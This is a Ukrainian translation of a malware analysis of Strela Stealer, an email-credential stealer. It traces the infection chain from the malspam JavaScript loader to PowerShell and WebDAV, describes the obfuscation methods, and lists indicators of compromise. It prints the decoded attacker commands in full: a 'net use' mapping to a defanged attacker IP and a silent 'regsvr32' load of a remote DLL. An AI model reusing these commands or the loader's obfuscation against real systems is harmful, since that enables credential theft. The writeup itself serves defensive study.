Обфускація JavaScript і потік виконання шкідливого ПЗ
Strela Stealer — це шкідливе програмне забезпечення для викрадення інформації, яке спеціально націлене на крадіжку облікових даних з поштових клієнтів. Воно нещодавно почало використовувати методи обфускації, такі як конкатенація рядків, заміна символів і методи протидії аналізу, що ускладнює аналіз JavaScript-коду та виявлення шкідливого ПЗ.
Strela Stealer зазвичай поширюється через кампанії Malspam, які містять zip-файли. Початкове навантаження, що вилучається з цих файлів, зазвичай є JavaScript-файлом, який виступає як точка входу для інфекції.
Потік виконання JS-скрипта:
Потік виконання
Початкове навантаження, JavaScript-файл, виконується за допомогою wscript.exe, який створює дочірній процес під назвою PowerShell.exe. Цей процес потім виконує команду, закодовану в Base64, через PowerShell.
Після декодування команда слідує за конкретним потоком виконання.
Команда спочатку запускає net.exe, внутрішній бінарний файл Windows, щоб відобразити мережевий шлях до WebDAV-серверу. Після цього використовується regsvr32.exe для реєстрації та віддаленого виконання DLL-файлу.
В деяких зразках ми бачили, що замість regsvr32.exe використовується rundll32.exe для виконання віддалених DLL. Після виконання віддаленого DLL, основне навантаження Strela завантажується і виконується.
Техніки обфускації
Спостереження за JavaScript-кодом показує, що він сильно обфусцований за допомогою довгих випадкових імен змінних для заплутування аналітика. Це шкідливе ПЗ використовує техніки обфускації, такі як заміна символів і конкатенація рядків, як показано на наведеному нижче скріншоті у відкритому JS-файлі в Notepad++.
1.
Довгі випадкові імена змінних
Strela Stealer використовує надзвичайно довгі та випадкові імена змінних, такі як:
Hhtmyhgkpuqugtkywebifwckevudiwjoxwvloithqdcdjdanyxbjdnjfrjruiayzcwrlbgkmggeedewifzydywbixbxtsrvppxzpdqddzniopovnbgjgohnlhrjbjsorzugiqcresnnnnvlbbkrrpljikxluaisthpeevorwiufygzniveopvluvpgxgkyiqmkehwgyjweuposngetibcwchjaqodqhnlelirxltizwgwgqkjercnuzwluyzlussjzkclfwrsxcwyqjekvlcmotmvvieuvorgcihzrrviuqftowpwuhxdivefxeqhceiwymgvptnaqlssqvccsjlgkuenszrtkqldkmwbwpytpfelpwbgopkmbsglfmndmipwqadelodlgkjjooxtjdbrsvbrdmkhxwcksvvtysambfhqtdwxcbgyjaamifcfmcpnchjuswujwdakvorhfbtcipgvahkexsnqkhmvgwecgudedgyymsxyrqtwwphzczszwcueyzsvzhzxeqwpsidudchyatqipyiohtnxqjmlmavemcwlyuskgbrtialhragkdigempommfppillfatedearthfeeling
Ці імена навмисно ускладнені для того, щоб ускладнити ручний аналіз.
2.
Маскування масивів та заміна рядків
Обфусковані JavaScript скрипти:
- Використовують порожні масиви з динамічно призначеними значеннями рядків для інкапсуляції логіки скрипта.
- Інкапсулюють логіку в динамічний код, який виконується за допомогою методу
Function()
.
Наприклад:
Emptyarray = [];
Emptyarray['descriptiveName'] = 'value';
Emptyarray['nbpyxbtetzwdvzdrkvnkzosrnfgmymocjigvtinetbqmonywpctjgtpimjbpfnxkkjmqwpzlykdfwnboptgekhoxintctqvxtwhvtfvzufeptxprltvicqoxefjikpxpnewxmrqfnjylikiknzjbatxrzxuewvmnizjydnbbifcxgheduuqpqzdkjxwjfhsffregcdbfqyytfatccblogepymsuvzrseheafsxfcymopxvzvfkxdmukfiervszkvetiudyauejnsqkgvmyiwkxbhegwqfzripyxmjmlbhxpbferswlregfffqwiibxelhcjjrggmeuenvziwybadbkuqunxwiiazxdnhthozsixtjbnqkylafqnfctiysymbwwpoxtzbqblnyyspnoynniiwepywgwtdufznpwbpahoxxepykzxuqbvkbzzpjhxjheftrudxfdxjndydufsoclwtkcsshtnnhlocauutldngkikfgijwchlhcnwfmsiuktnashjzocortbkhtfrxykozgfxwtfhhxknjskbwbsctvesyxzujkffbxzexiegoqdlqrujihpaignlscotsfzcdopltwznzifjtnkdlcxfldbdchchgbimwyqprfzrogcxwteeccmtlyawrhqwckxgevcxxdmcwjuhnjwderaekxjkwngpsumaixnrbwerqdescribemistname'] = 'w';
Процес деобфускації:
Щоб спростити аналіз:
1.
1. Заміна довгих імен змінних на змістовні (наприклад, Emptyarray
).
2.
Замінити рядки на їх зрозумілі еквіваленти.
Цей підхід дозволяє розкрити основний скрипт, який часто включає динамічний код, що виконується шкідливим ПЗ.
Однак ми можемо видалити ім’я змінної та конкатенувати рядки, щоб отримати PowerShell-скрипт з закодованим вмістом.
Деобфускований PowerShell-скрипт
Приклад декодованого PowerShell-скрипта
![image](https://miro.medium.com/v2/resize:fit:1400/1*dUna9c94[.]159[.]113[.]79@8888\davwwwroot:
Це використовує команду net use для спроби відобразити або підключитися до мережевого ресурсу, розташованого за адресою \94[.]159[.]113[.]79@8888\davwwwroot\.
regsvr32 /s \94[.]159[.]113[.]79@8888\davwwwroot\609771923377.dll:
Ця команда виконує regsvr32, щоб безшумно (за допомогою параметра /s) зареєструвати або завантажити DLL-файл (609771923377.dll), розміщений за вказаним шляхом мережевого ресурсу.
Обидва ці приклади показують декодований код, який використовує WebDAV для виконання файлу без збереження його на диск.
WebDAV покращує HTTP і дозволяє користувачам керувати та редагувати файли на сервері без збереження змін на локальній машині.
Код підключається до 94[.]159[.]113[.]82 за допомогою порту 8888 для виконання DLL-файлу за допомогою regsvr32.exe на сервері.
IOC:
Приклад — 121d3291a543e6b775e76107c5bb499d9d6de2d46f08bce85f4348a19c6be1bf
IP-адреса — 94[.]159[.]113[.]79
Bazar-лінк — MalwareBazaar | SHA256 121d3291a543e6b775e76107c5bb499d9d6de2d46f08bce85f4348a19c6be1bf (StrelaStealer)
Any.Run — Аналіз шкідливого ПЗ 16689172077235609.js | ANY.RUN — Онлайн пісочниця для шкідливого ПЗ
Перекладено з: Analyzing StrelaStealer